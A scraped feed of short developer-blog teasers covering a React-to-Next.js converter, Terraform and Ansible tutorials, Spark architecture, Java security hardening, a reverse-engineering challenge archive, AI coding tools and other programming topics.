    Over the last few months I kept seeing the same problem. Teams want to move from React to Next.js but the migration is repetitive, messy, and full of hidden patterns. So I built a feature rich converter that automates most of the work: reacttonext.com. The tool handles routing changes, Link conversions, file restructuring, SSR-safe patterns, dynamic imports, and a lot of the tricky edge cases that usually show up late in a migration. I trained it on 1500 publicly available React codebases and used those patterns to build the rule engine behind it. The converter completes around 80–90 percent of the migration automatically. After that it generates a README.md containing all the remaining manual review steps. You can follow them yourself or feed the README to an LLM, since the instructions are already written in a way that an LLM can process correctly. If you want to try it or break it, here you go: https://reacttonext.com I am looking for feedback, edge cases, and real-world projects that can push its limits.  ( 6 min )
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    Oracle APEX (Rest Integration Code Snippets) Rajesh Vohra ・ Dec 2 #restapi #oracle #cloud #programming  ( 6 min )
    Oracle APEX (Rest Integration Code Snippets)
    (A) Calling a REST API From APEX Using APEX_WEB_SERVICE https://api.example.com/process'; https://objectstorage..oraclecloud.com/n/namespace/b/bucket/o/myfile.pdf'; Automated PDF Extraction & Classification Image Recognition Inside APEX Generate PDFs Automatically LLM-Powered Chat Assistant Inside APEX Smart Ticket Categorization Real-Time Operational Dashboard Executive KPI Dashboards Audit & Security Dashboard  ( 7 min )
    AI NECROMANCER
    The Problem Legacy code is everywhere. Companies have millions of lines of COBOL running critical systems, PHP 5 powering old websites, and Flash ActionScript in archived projects. Modernizing this code manually is tedious, error-prone, and expensive. What if AI could do it automatically? AI Necromancer is a web app that "resurrects" dead code using a multi-agent AI system: The Archaeologist analyzes legacy code to detect language, purpose, and issues The entire application - 40+ files, full-stack React and Express, OpenAI integration, batch processing, error handling, and comprehensive documentation - was built in one session with Kiro AI. Here's how: I treated Kiro like a pair programming partner. Instead of writing detailed specs upfront, I'd say things like "add ZIP file extraction" …  ( 7 min )
    Overview of Real-Time Data Synchronization from MySQL to VeloDB
    In the process of migrating data from MySQL (including MySQL-compatible databases such as Amazon Aurora) to VeloDB, Flink can be used as a real-time data synchronization engine to ensure data consistency and real-timeliness. Flink boasts high-throughput and low-latency stream processing capabilities, enabling efficient full data synchronization and incremental change handling for databases. For real-time synchronization scenarios, MySQL Binlog can be enabled to capture CDC (Change Data Capture) events. Whether it is a traditional self-hosted MySQL or Amazon Aurora-MySQL deployed on the cloud, you can enable Binlog and use Flink CDC for subscription to achieve: Full data initial load: Import existing data from MySQL/Aurora to VeloDB first Real-time synchronization of incremental changes: …  ( 8 min )
    Unlocking Easter Creativity with xTool: Projects, FAQs, and Weekly Insights for Digital Marketers
    Unlocking Easter Creativity with xTool: Projects, FAQs, and Weekly Insights for Digital Marketers As the vibrant hues of spring emerge, so too does the spirit of Easter, inspiring countless creative projects. For enthusiasts and entrepreneurs alike, xTool devices have become indispensable tools, transforming intricate ideas into tangible masterpieces. This article delves into the exciting world of Easter crafting with xTool, provides crucial answers to common user questions and technical challenges, and keeps you informed about the essential weekly updates that keep the xTool ecosystem thriving. Whether you're a seasoned crafter aiming for intricate designs or a small business owner looking to expand your product line, leveraging tools like xTool can significantly enhance your creative out…  ( 9 min )
    The Ping Engine: Adaptive Focus + MindsEye State Cards
    A new state architecture for AI reasoning — topic-aware, model-adaptive, and time-pattern structured Introduction Most developers know the experience: you begin a serious AI conversation, start building a document or a technical concept, and the moment you modify one small part, the entire model rewrites everything. You scroll endlessly, context collapses, structure disappears, and the conversation becomes noise instead of clarity. Modern AI models are powerful, but the default chat interface is structurally wrong for complex work. What is needed is not more tokens, but a way to introduce state, structure, and reasoning flow into the interaction. This article introduces the Ping Engine: a new reasoning architecture built on two components: AFST v0.1: Adaptive Focus State Te…  ( 9 min )
    Advent of Code 2025 - December 2nd
    In this series, I'll share my progress with the 2025 version of Advent of Code. Check the first post for a short intro to this series. You can also follow my progress on GitHub. The puzzle of day 2 was not that hard. I feared my simplistic solution for part one would not cut it for part two, but it was actually pretty easy to create a new isInvalidId function for part two, and retrofit that to part one 😅 My pitfall for this puzzle: Had to look a couple of C++ tips & tricks, but nothing major. #include #include #include #include void extractRange(const std::string &range, std::vector &result) { const auto from = std::stol(range.substr(0, range.find('-'))); const auto to = std::stol(range.substr(range.find('-') + 1)); for (…  ( 7 min )
    Practical SQL Observability for Forge Apps with forge-sql-orm
    Over the past month, I introduced a new observability layer inside my library forge-sql-orm. measurable and transparent — without breaking Runs on Atlassian compliance and without accessing any customer data. As part of my Codegeist project, I integrated this layer into a real Forge app and connected it to PostHog. Forge SQL is multitenant — the physical database is shared across many customers, and each tenant gets its own logical slice of data. In practice, this creates two major challenges: 1. Tenants can have radically different dataset sizes A resolver that runs in 50–100 ms for one customer may take hundreds of milliseconds, or even seconds, for another. And you have no way to know this ahead of time: you cannot see the tenant’s actual table sizes you cannot log into the underlying…  ( 12 min )
    BJH OS — Free, Open Source, Browser-Based OS Built with HTML, CSS & JavaScript
    BJH OS is a browser-based operating system developed using pure HTML, CSS, and JavaScript — no frameworks, no backend dependencies ⚙️🚫. It’s designed to give you real desktop OS, but in your web browser 🖥️✨ 🖼️ Custom Desktop Environment Draggable, resizable windows with a familiar desktop layout. Apps now open inside movable, desktop-style windows with titlebars and close buttons. Windows can be maximized or restored by double-clicking the titlebar. 🖱️ Smoother UI & Window Management Enhanced shadows, borders, and polished drag interactions give a modern desktop feel. Double-click the titlebar to maximize/restore windows, and enjoy smoother dragging and window interactions. 📦 Built-in Apps Includes File Manager, Notes, Chat App (ChatLink), Settings, and more. Start menu & toolbar …  ( 8 min )
    Goodbye CRA, Hello Vite: A Developer’s 2026 Survival Guide For Migration
    Hey Developers 👋 for years, Create React App (CRA) was the go-to tool for setting up React projects quickly. However, as of Feb 2025, CRA is officially sunset. The React team no longer recommends using it due to slow build times, outdated configurations, and lack of support for modern features like ES modules and native ESM-compatible dependencies. If you are still using CRA, it’s time to migrate. I have worked with a lot of teams, and in my opinion if you have a SPA application that doesn’t need the latest nuts and bolts like React Server Components, then Vite is the best option. Vite a fast, modern build tool that offers instant hot module replacement (HMR), optimized builds, and better DX (Developer Experience). It aims to provide a faster and leaner development experience for modern w…  ( 9 min )
    A step-by-step guide to fine-tuning MedGemma for breast tumor classification
    Disclaimer: This guide is for informational and educational purposes only and is not a substitute for professional medical advice, diagnosis, or treatment. Artificial intelligence (AI) is revolutionizing healthcare, but how do you take a powerful, general-purpose AI model and teach it the specialized skills of a pathologist? This journey from prototype to production often begins in a notebook, which is exactly where we'll start. In this guide, we'll take the crucial first step. We'll walk through the complete process of fine-tuning the Gemma 3 variant MedGemma. MedGemma is Google's family of open models for the medical community, to classify breast cancer histopathology images. We're using the full precision MedGemma model because that's what you'll need in order to get maximum performance…  ( 33 min )
    A Natural Language Interface for Datadog Log Search
    It's 2 AM. PagerDuty fires. Something's wrong with the payment service. You open Log Explorer and stare at the query bar. Is it service:payment or @service:payment? Does negation use NOT or -? What's the facet for authentication failures again? The logs have the answer. The syntax is the bottleneck. If you have been here, this post is for you. I will walk through how to build a tool that translates plain English into valid Log Search queries, and more importantly, I will break down the Datadog-specific gotchas that make this problem interesting. Before building anything, it helps to know exactly where Log Search syntax trips people up. These are the patterns I see most often. @ Prefix Rule This causes more confusion than anything else. The rule is simple, but easy to forget: Reserved att…  ( 9 min )
    Enter RE_VAULT and Try Your Hand at Black Cipher
    RE_VAULT: My growing archive of reverse engineering challenges When I first got into reverse engineering, I kept running into the same problem. Either the binaries were so trivial that you could finish them in five minutes, or they were full blown malware samples that assumed you already knew what you were doing. There was not much in the middle that felt like a structured way to get better. So I started building my own targets. This repository is where I am collecting them. GitHub: https://github.com/0x57Origin/RE_VAULT/tree/main Contact for solutions: 0x57Origin@proton.me RE_VAULT is my public archive of reverse engineering projects and challenge binaries. Right now the main thing inside it is a project called: Flag Hunt 2 - Black Cipher Edition It is a C program that behaves like a h…  ( 11 min )
    Exploring native Browser/Web APIs
    Most frontend projects rely heavily on REST APIs. We fetch data, handle the loading state, and display lists. While this is an essential skill, it ignores a large part of what the browser can do. I recently saw a tweet about using native Browser APIs to build more interesting projects. I wanted to try this myself, but I found it difficult to find good project ideas. Most documentation provides syntax examples but rarely explains what you can actually build with them. I created a site to solve this. It serves as a collection of browser APIs, resources, and specific project ideas for each one. You can view it here For each API, I included the MDN documentation, a couple of resources and a few project ideas. This will be updated as I find more project ideas. Focusing on these APIs requires a different approach than standard data fetching. You have to manage permissions, handle real-time events, and interact with device hardware. Asides from it being fun, it is a practical way to understand the web better. I am using this list to guide my own learning. I plan to update it as I discover more APIs and use cases. If you are looking for a new project to build, you can check out the full list here.  ( 6 min )
    Agentic Software Engineering (ASE): The Software Development Landscape is Shifting Again
    Agentic Software Engineering (ASE): The Software Development Landscape is Shifting Again These days, we often hear stories like "Successful CI/CD Automation with a Coding Agent" or "An MVP for a side project completed in just a few days." It’s becoming clear that AI agents are moving beyond being mere assistants and are diving deep into the actual development workflow. Industry buzzwords like AI-driven development, AI-DLC (AI-driven Development Life Cycle), and Agentic Software Engineering (SE 3.0) are already rampant. I want to consolidate this rapidly evolving trend from the perspective of a working developer and call it "Agentic Software Engineering (ASE)." ASE is far more than simple code generation. It signifies a new software development framework where the agent understands and ac…  ( 10 min )
    Soft copy document on any Medicinal plant like Tulsi, Aloe Vera, Neem
    तुलसी - एक औषधीय पौधा परिचय तुलसी भारतीय संस्कृति में एक पवित्र और महत्वपूर्ण औषधीय पौधा है। इसे "जड़ी-बूटियों की रानी" के नाम से भी जाना जाता है। तुलसी का वैज्ञानिक नाम Ocimum sanctum या Ocimum tenuiflorum है। यह पौधा लामियासी (Lamiaceae) परिवार से संबंधित है। भारत में तुलसी को धार्मिक और आयुर्वेदिक दृष्टि से अत्यंत महत्वपूर्ण माना जाता है। प्रत्येक हिंदू घर में तुलसी का पौधा लगाना शुभ माना जाता है। भारत में मुख्य रूप से तीन प्रकार की तुलसी पाई जाती है: राम तुलसी: इसकी पत्तियां हरे रंग की होती हैं और यह सबसे सामान्य प्रकार है। इसकी सुगंध मीठी और हल्की होती है। श्याम तुलसी (कृष्ण तुलसी): इसकी पत्तियां बैंगनी या गहरे हरे रंग की होती हैं। यह औषधीय गुणों में अधिक प्रभावी मानी जाती है। वन तुलसी: यह जंगली किस्म है जो प्राकृतिक रूप से उगती है। इसके पत्ते बड़े और खुरदरे होते हैं। तुल…  ( 9 min )
    Crypto Payment Gateway Explained
    Crypto payments feel simple for users: scan a QR code, send funds, wait for confirmations. For developers, that flow hides a bunch of responsibilities you normally get “for free” with card processors: invoice tracking, fraud/risk rules, payment status updates, retries, and reconciliation. A crypto payment gateway is the system that fills that gap. A crypto payment gateway is a service (or internal component) that connects an off-chain business event—like an order or invoice—to an on-chain crypto transaction, then tells your backend when it’s safe to deliver the product. Think of it as the crypto equivalent of payment plumbing: not the blockchain itself, but the layer that makes payments usable in real apps. Popular, widely used gateways include Coinbase Commerce, RBTex, BitPay CoinGate, NO…  ( 8 min )
    Как сделать и настроить свой VPN
    В данной статье мы рассмотрим несколько способов установки собственного VPN, а начнем с самого простого и доступного каждому. Для настройки личного VPN прежде всего необходимо иметь виртуальный сервер, он же VPS или VDS. Переходим на сайт VDSina (или регистрируемся здесь) и заказываем сервер с 1 процессорным ядром и 2Gb памяти. В заказе выбираем операционную систему Ubuntu 24.04 или Debian 12, и отключаем ненужную платную резервную копию: Оформив и оплатив заказ, нам сразу будут выданы данные доступа к серверу – его IP-адрес и пароль пользователя root. Теперь, когда у нас есть собственный сервер, можно переходить к непосредственной настройке VPN одним из трех способов. ㅤ Способ 1. Самый простой, с помощью Amnezia Устанавливаем на компьютер или телефон программу Amnezia VPN, за…  ( 8 min )
    Anthropic Just Acquired Bun — And It Signals the Beginning of AI-Native Software Engineering
    When Anthropic announced its acquisition of Bun, it wasn’t just a corporate move — it was a clear message: AI-native software engineering is no longer an experiment. It’s the new standard. Claude Code, Anthropic’s agentic coding system, hit $1B run-rate revenue in only six months. That type of growth has never happened in the developer tools space before. And behind that meteoric acceleration? A surprising catalyst: Bun, the JavaScript runtime created by Jarred Sumner. Today’s acquisition formalizes a relationship that has quietly shaped the fastest-growing AI coding product in history. Why Bun Matters So Much in the AI Era Bun has always been outrageous. Outrageously fast, outrageously integrated, outrageously ambitious. 7M+ monthly downloads 82k+ GitHub stars Adopted by Midjourney, Lov…  ( 8 min )
    Building a Dependency-Aware CRUD API with FastAPI and Topological Sorting with Kiro
    When building modern web applications, managing relationships between data entities is a common challenge. But what happens when those relationships form a dependency graph, and you need to process items in the correct order? That's exactly the problem I tackled in my latest project: a FastAPI backend that combines traditional CRUD operations with intelligent dependency ordering using topological sorting. Most CRUD APIs are straightforward—create, read, update, and delete resources. But in many real-world scenarios, resources depend on each other. Think about: Build systems where modules depend on other modules Task management where tasks have prerequisites Package managers where libraries depend on other libraries Workflow engines where steps must execute in order The challenge isn't just…  ( 9 min )
    How I Built a Production-Ready SaaS in a Weekend (and Open-Sourced It)
    Every time I started a new SaaS project, I found myself rebuilding the same infrastructure: Payment integration Invoice generation Multi-language support Analytics Admin dashboard After the third time, I decided to extract this foundation into a reusable starter. Today, I'm open-sourcing it. GitHub: martinschenk/saas-starter-stack Live Demo: allgood.click ## What's Included ### 1. Stripe Payments Complete Stripe Checkout integration with: One-time payments and subscriptions Mobile-optimized checkout (auto-detects device) EU tax handling Webhook processing with signature verification ### 2. Automatic Invoicing Zoho Invoice API integration that: Creates professional PDF invoices on payment Sends them automatically to customers Supports B2B with company name and VAT ID ### 3. Multi-Language Support (5 Languages) English, German, Spanish, French, Portuguese SEO-friendly URLs (/de/, /es/, /fr/, /pt/) Browser language auto-detection ### 4. GDPR-Compliant Analytics (No Cookies!) No cookie consent banners needed IP anonymization (last octet removed) Admin dashboard with charts Auto-deletes after 90 days ## Tech Stack Express.js - Simple, no magic SQLite - Zero config, file-based backup Vanilla JS - No build step, ~50KB frontend ## Getting Started git clone https://github.com/martinschenk/saas-starter-stack.git Visit http://localhost:3000 and you have a working SaaS. ## Links GitHub: martinschenk/saas-starter-stack Live Demo: allgood.click License: MIT If this helps you ship faster, that's a win. Star the repo if you find it useful! Have questions? Drop them in the comments!  ( 6 min )
    Building Ghostable & Finding Ideas by Listening Well
    It was an honor to join Matt Stauffer on the The Business of Laravel podcast to talk about my journey: from building a startup on Laravel, to selling it, and now launching Ghostable — a zero-knowledge environment-management platform for teams that scale. If you want the full conversation, check out the episode. Here’s a written recap of what I shared, how Laravel shaped my path, and why env/secrets management matters more than most devs realize. My co-founder and I go way back — kindergarten friends, turned co-founders. Our first “company” was literally a skateboard deck brand we made in high school: hand-painted boards, a rudimentary website, and a DIY hustle. That early taste of branding, marketing, and web dev stuck. Years later, when he pitched me a security-training idea (now known…  ( 8 min )
    Mocking, Stubbing, Spying, and Faking in PHP: A Practical Guide (with Sandbox Example)
    Modern PHP applications rely on many external components: APIs, databases, file systems, random generators, time providers, and services that communicate with the outside world. This is where test doubles come into play. A test double is any stand-in object that replaces a real dependency during testing. PHP offers many ways to create these objects — manually, through libraries like Mockery, or through PHPUnit’s built-in mocking tools. In this article, you’ll learn: What mocks, stubs, spies, and fakes really are How they differ and when to use each How to build them in pure PHP How to test code that depends on external services Common mistakes developers make when mocking Simple examples you can run directly in onlinephp.io Let’s begin with the basics. There are different categories of tes…  ( 10 min )
    Use Local LLMs to Eliminate Little Annoying Tasks
    Over the past year, I’ve been slowly moving many of the little repetitive tasks in my engineering workflow over to local LLMs. These are the tiny chores that show up dozens of times a day and quietly wear you down. Automating them away has been a real blessing. If you’re a software engineer who wants to eliminate the tedious parts and move faster, then I hope sharing some of my scripts inspires you to streamline your own workflow as well. The core of my setup is Ollama. It runs several code focused local models. You do need a little power under the hood machine to run some of these higher param models. On my M4 Mac these models have been fantastic: qwen2.5-coder:7b runs extremely fast and is more than enough for most tasks qwen2.5-coder:14b a bit slower, but best overall reasoning and cod…  ( 9 min )
    I'm-poster
    "Oh man, how do these guys who are younger than me beating me at my own game?" I have been feeling this way many times of my decade long career. When I was in my formative years, I always blindly thought those and I took them as truth without thinking. And me being in my own shell made it worse. It was my third year and my manager asked me "Where do you think you rank in this appraisal cycle?". I said without any thinking "I will be within top 3" and the competition is fierce and there are 10-15 people for that appraisal cycle. My Manager smiled and I thought myself that "Who am I kidding? top 3! what a joke. He must me laughing that I am this deluded". I never asked him what he thought afterwards. But ever since he asked me that whatever work I am associated with my Manager, that thought …  ( 10 min )
    8 Blockchains Developers Are Choosing for Real Production Workloads in 2025
    Developer activity in crypto continues to rise. Although users still search for where to buy Bitcoin or check Dogecoin price charts, developers focus on networks that offer predictable performance, strong tooling, and stable infrastructure. Many consumers begin their crypto experience through platforms like MoonPay, but developers take the next step by building applications that push blockchains to their limits. This roundup covers the top networks developers are using for serious production workloads. 1. Ethereum and Its Rollups The largest developer ecosystem remains productive due to mature tools, libraries, and L2 networks that reduce costs. 2. Solana Solana offers high throughput and fast finality. Developers building consumer apps, DEXs, and real-time systems appreciate its performance profile. 3. Polygon zkEVM Polygon’s zkEVM merges the benefits of Ethereum compatibility with low fees and fast settlement. 4. Near Protocol Near’s account abstraction and easy onboarding help developers attract non-technical users. Its architecture supports scalable consumer apps. 5. Avalanche Avalanche’s subnet architecture allows developers to create custom chains tailored to specific performance or compliance needs. 6. Cosmos SDK Cosmos enables developers to build application-specific blockchains. IBC ensures seamless communication between chains. 7. Aptos Move’s resource-based programming model appeals to developers seeking safer contract execution. Aptos provides high-speed settlement for complex applications. 8. Toncoin (TON) TON’s integration with Telegram gives developers the ability to serve hundreds of millions of users instantly. Mini app development continues to grow. Conclusion Developers in 2025 are shaping the next evolution of blockchain. While consumer interest focuses on trends like buying crypto or tracking Dogecoin price movements, the real progress comes from builders who are choosing networks that support high-performance, scalable applications.  ( 7 min )
    CHW Monthly Activity Aggregation: Turning Visit Logs into Insight
    Community Health Workers (CHWs) generate a huge amount of visit-level data: every household visit, assessment, and follow-up. On its own, this raw data is hard to use. Our CHW Monthly Activity Aggregation project turns those raw records into a clean monthly summary that's ready for dashboards and performance reviews. At a high level, this project is a dbt (data build tool) project that reads a fact table of CHW activities and produces a single, analytics-ready table: public.chw_activity_monthly, with one row per CHW per reporting month. Today's challenge: Managers often get raw logs (“John visited household 123 at 10:15”) instead of understandable summaries (“John visited 28 households in March, with 6 pregnancy visits”). Our solution: We automatically group all visits into monthly summa…  ( 9 min )
    Day 3 - Virtual Machine
    The Initial Use of Resources Imagine you have a one-acre plot of land in your village or hometown. You decide to build your dream house on this land, constructing a home for you and your family. You use the entire one acre of land to live comfortably. You have access to water, a garden, a park, and other resources, and you’re happily living in this space. After some time, you realize that even though you’re enjoying the one-acre property, you’re only using half of the land. The other half remains unused, meaning much of the land and its resources are going to waste. You then start thinking of ways to use the extra land more efficiently. Instead of letting that unused half-acre go to waste, you decide to build another property on it. You keep living in your original home with your family…  ( 9 min )
    Building My First RAG System in One Week with Kiro IDE 🎃
    Submitted for Kiroween Hackathon 2024 - Skeleton Crew Category As a junior apps developer, I'd never built a RAG (Retrieval Augmented Generation) system before. The concept seemed intimidating: vector embeddings, semantic search, chunking strategies—all foreign territory. But the Kiroween hackathon's "Skeleton Crew" category sparked an idea: what if I could build ONE reusable skeleton that transforms into ANY AI personality? Seven days later, I had Project Corpus: a production-ready RAG chatbot that can become a professional legal assistant, a mystical spirit, or anything else—just by swapping a config file. 🔗 Live Demo | GitHub Repo Project Corpus is a document chat application with a twist: the same core logic powers radically different AI personalities. ⚖️ Legal Eagle Professional leg…  ( 10 min )
    ->> Day-08 AWS Terraform Meta Arguments | count, depends_on, for_each
    Terraform gets much easier to use once you understand its meta arguments. These arguments help you decide how many resources to create, how they should be linked, and how Terraform keeps track of them. In this article, we will break down the three most commonly used meta arguments: count, for_each, and depends_on. These are important to know if you're building AWS infrastructure with Terraform, especially when creating multiple resources or managing their order. count allows you to create multiple instances of the same resource using a simple number. It is the most straightforward way to scale resource creation. Example resource "aws_s3_bucket" "bucket_example" { count = 3 bucket = "my-bucket-${count.index}" } How it works count = 3creates three buckets. Each resource gets an index: …  ( 7 min )
    CinemaSins: Everything Wrong With Superman (2025) In 17 Minutes Or Less
    TL;DR CinemaSins just dropped a new “Everything Wrong With Superman (2025) In 17 Minutes Or Less” video, where they hilariously roast the latest Man of Steel flick by pointing out every nitpick, plot hole and overused trope in true CinemaSins fashion. For more sinful takes and bonus content, hit up cinemasins.com or their Linktree for all the YouTube channels (TVSins, CommercialSins, CinemaSins Podcast Network), join the Discord/Reddit communities, fill out their poll, or support the team on Patreon. Big ups to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel! Watch on YouTube  ( 6 min )
    Most Outages Are Preventable: Why Your System Needs Self-Healing Yesterday
    Self-healing systems are basically computer systems that can fix themselves automatically when something goes wrong. Instead of waiting for a human to notice a problem and manually fix it ("reactive firefighting"), these systems are designed to be proactive. They are constantly watching (Continuous Monitoring) themselves to catch tiny signs of trouble or "degradation" (a slight performance drop or early error). When they find an issue, they automatically take steps to correct it (Automatic Correction). This might mean restarting a faulty component, rolling back a bad update, or isolating a sick part of the system. Why Self-Healing Is Important? Prevents outages before users feel them. Systems detect degradation (latency, memory spikes, failed health checks) and fix themselves before custo…  ( 7 min )
    If It’s Hard to Read, It’s Hard to Build
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* In 1979, Singapore’s Prime Minister Lee Kuan Yew spoke about the importance of clear, simple written English in government. Decades later, his message applies perfectly to today’s technology and software world. Our industry builds complex systems distributed services, microservices, machine learning pipelines, cloud infrastructure, scaling architecture. But while the technology has evolved exponentially, the quality of communication often has not. We’ve all seen it: PRDs and RFCs filled with jargon that nobody understands Engineeri…  ( 8 min )
    New to Dev to community
    Hey Everyone I used to do coding from 2013-2018 after that explore the new opportunities started my start ups but got failed and I am againg starting programmer Journey. The tech stack which I have choosen is React,Express,Mongo & Node. If there are any suggestions please comment.  ( 6 min )
    Evicting MCP tool calls from your Kubernetes cluster
    Model Context Protocol (MCP) has been wobbling on its own legs for a while now, which articulated a frustration many of us in the agentic space have felt but hadn't quantified: LLMs are exceptional code generators, but terrible state machines. The industry standard for agents is the ReAct pattern (Reason + Act), which essentially turns your LLM into a pseudo-runtime. The model decides on a tool, calls for the API, waits for the network response, parses the JSON result, and repeats. But here's the catch: this approach isn't exactly efficient with today's LLMs. You're basically asking a probabilistic engine to handle deterministic control flow, which is like using a neural network to do basic arithmetic. The result? Hallucinations, context window gets polluted fast, and state management bec…  ( 12 min )
    Top 7 Featured DEV Posts of the Week
    Welcome to this week's Top 7, where the DEV editorial team handpicks their favorite posts from the previous week. Congrats to all the authors that made it onto the list 👏 Is the Java ecosystem cursed? A dependency analysis perspective Tony Robalik ・ Nov 24 #java #kotlin #gradle @autonomousapps dives deep into the complexities and frustrations of dependency management within the Java and Kotlin ecosystems. The article highlights specific pain points like inconsistent metadata and "fat" jars that can turn build processes into a nightmare for maintainers. How I Used Claude Code to Speed Up My Shell Startup by 95% Nick Taylor ・ Nov 27 #ai #zsh #bash #productivity @nickytonline details how he used an AI coding assistant to identify and reso…  ( 7 min )
    Going beyond full stack with Rust
    Most of us know that Rust can target almost anything - from microcontrollers to desktop apps, servers, and even browser-based applications. But are these practical use cases, or just proofs of concept that we wouldn't apply in practice? I decided to find out. 👉 Let me share my project with you: an on-desk watch combined with a meteo station. World Time (automatic timezone detection + NTP synchronization) Weather Forecast (two-day forecast for the current location) Current Weather (live data from nearby meteo stations) Fully configurable through an embedded web UI Embedded: Multi-threaded app built with ESP-IDF, running on ESP32-S3 (Xtensa) Frontend: Two Leptos apps compiled to WASM, client-side rendered Backend: Two serverless functions built with Spin SDK, deployed to Fermyon Cloud Simulator: Built with help of ratatui, runs in the terminal on x86 Scripting: Helper tool using rust-script crate retro-clock weather-data-aggregator  ( 6 min )
    FinOps SaaS: Bringing Financial Clarity to Modern Cloud Operations
    Introduction In today's business landscape, financial control over cloud usage has turned into a defining factor for sustainable growth. Yet many companies still have to deal with unpredictable cloud bills, limited cost visibility, and slowed financial insights that needlessly complicate budgeting and decision-making. These issues often quietly rise to operational strain, reducing the overall value of the cloud. This is where FinOps SaaS comes into play, providing structure, intelligence, and real-time transparency that enables enterprises to take control over their cloud spend once again. Key Roles of FinOps SaaS That Strengthen Cloud Financial Control Inefficient cloud cost management can lead to overspending and reduced financial clarity. The points given below highlight how busine…  ( 9 min )
    A Practical Guide to Testing Fintech APIs End-to-End (Without Writing Extra Code)
    Fintech APIs are tricky; payments, KYC, wallets, ledgers, refunds, transaction verification...everything needs to work perfectly. Even the smallest bug can break a customer payment or cause a compliance issue. This is why proper API testing matters more in fintech than anywhere else. In this guide, I’ll show you exactly how to test your fintech APIs on KushoAI. We’ll upload your API, set up environments, handle auth, run tests, and even build complete end-to-end payment flows. Fintech systems rely on tightly connected API chains. A single customer action, such as onboarding or making a payment, triggers multiple backend services that interact in sequence. A standard fintech workflow looks like this: Customer Onboarding: Capture user details. Trigger the KYC process. Receive verification c…  ( 9 min )
    🚀 Modern Security Guide for Java Developers
    Subtitle: OAuth 2.0, JWT, Asymmetric Encryption, Zero-Trust, Hardening Headers, API Gateway, & Load Balancers. Most developers think security ends at: Login → JWT → Authenticated ❌ But enterprise-grade systems demand multi-layer security + zero-trust enforcement. 🛡️ Here is a practical, production-ready guide to hardening your Java architecture. OAuth 2.0 is authorization, not authentication. Your backend must treat every request as hostile. 📌 Core Flow: Client → API Gateway → Authorization Server → Resource Server 🧠 Zero-Trust Rules: ✔ Always verify WHO the user is. ✔ Always verify WHAT they can access. ✔ No implicit trust — even inside your VPC. ✔ Tokens should always be short-lived. 🔑 2. JWT — Use Asymmetric Keys (RS256) HS256 = Risky shared secret ❌ RS256…  ( 8 min )
    🔥 Day 2: Understanding Spark Architecture - How Spark Executes Your Code Internally
    Welcome back to Day 2 of the 60-Day Spark Mastery Series. Today, we dive into the core of Spark’s execution engine - an essential concept for every Data Engineer who wants to write efficient and scalable ETL pipelines. Let’s break down Spark architecture in a way that is simple, visual, and interview-friendly. 🧠 Why Learn Spark Architecture? If you understand how Spark works internally, you can: Write faster pipelines Debug errors quickly Reduce shuffle Tune cluster performance ⚙️ Spark Architecture (High-Level) Spark has 3 major components: Driver Program : This is the "brain" of your Spark application. The driver: Creates SparkSession Builds logical plan (DAG) Converts transformations into stages/tasks Manages metadata Talks to cluster manager If the driver crashes → the entire applicat…  ( 7 min )
    🚀 New React Challenge: Phone Input Component
    Build a flexible phone input that supports both a country selector and input-only mode. Validate, format, and auto-detect international phone numbers using real-world logic from libphonenumber-js. A perfect intermediate challenge to sharpen your skills in controlled inputs, form validation, and React state management. 💡 Ready to test your React skills? Jump in now! 👉 Try it here: www.reactchallenges.com/challenges/38  ( 6 min )
    Terraform Life Cycle Rules
    Today marks the Day 9 of 30 Days of Terraform challenge and in this blog, we will deep dive into the Terraform Life Cycle Rules. Life Cycle in terraform is one of the important meta-arguments that is needed to improve the Infrastructure mangeability and to Operationalize it. Terraform Lifecycle rules are something that controls how a resource is created, modified or deleted. These are used to improve Security, Accidental deletion or modification of resources. There are a total of 5 lifecycle rules defined such as Ignore_changes, craete_before detsroy, prevent_destroy, replace_triggered_by, pre_and_post_validation If we keep this Ignore changes lifecycle rule on any resource, then the Terraform will ignore the changes that were done outside of Terraform and will not perform any changes on …  ( 9 min )
    My Notes on Cybersecurity Tools
    A post by Elvin Seyidov  ( 6 min )
    How to Deploy a Web App Using Ansible in 10 Minutes
    💡 What is Ansible? Ansible is a powerful automation tool used for: ✔ Server configuration It works over SSH, requires no agent, and uses YAML playbooks to automate tasks. In this guide, you will learn: How to install Ansible Step 1: Install Ansible on Ubuntu sudo apt update sudo apt install ansible -y ansible --version Step 2: Create Ansible Project Structure Create project folder: mkdir ansible_demo cd ansible_demo Create inventory & playbooks directories: mkdir inventory playbooks Create inventory file: cd inventory touch hosts.ini Create playbook file: cd ../playbooks touch web_prac.yml Step 3: Add SSH Key to the Project In the project root directory: cd .. mkdir ssh cd ssh touch nagios.pem Paste your PEM key content into nagios.pem. chmod 600 nagios.pem Step 4: Test SSH Connect…  ( 7 min )
    Machine Learning Roadmap
    A Complete Foundation for Becoming a Strong ML Engineer Machine Learning stands on three fundamental pillars: 1. Mathematics 2. Statistics 3. Programming Without these foundations, ML becomes just black-box code. With them, you understand how models work — and how to optimize them. 1. Linear Algebra — Matrix Manipulation vectors matrices dot products eigenvalues PCA & SVD 2. Calculus — Optimization & Gradients derivatives partial derivatives chain rule gradient descent 3. Probability — Modelling Uncertainty distributions random variables Bayes theorem 4. Statistics — Understanding Data mean, variance hypothesis testing confidence intervals correlation Data Manipulation Skills NumPy vectorization broadcasting matrix ops Pandas cleaning data merging grouping time-series ops Matplotlib histograms 2D/3D plots Seaborn heatmaps pairplots correlations Core Machine Learning Branches 1. Supervised Learning Regression, classification, neural networks. 2. Unsupervised Learning Clustering, dimensionality reduction, anomaly detection. 3. Reinforcement Learning Agents, robotics, decision-making. 1. Project-Based Learning Build small projects: classifiers clustering visualizations NLP pipelines recommender systems 2. Read Latest Hugging Face Research Stay updated with: new models tutorials research summaries benchmarks 🏁 Final Thoughts Machine Learning is built on math, statistics, programming, data skills, and real-world projects. Master the foundations and you become a strong ML engineer.  ( 6 min )
    Building a Full-Stack App Shouldn’t Feel Like Starting From Zero Every Time
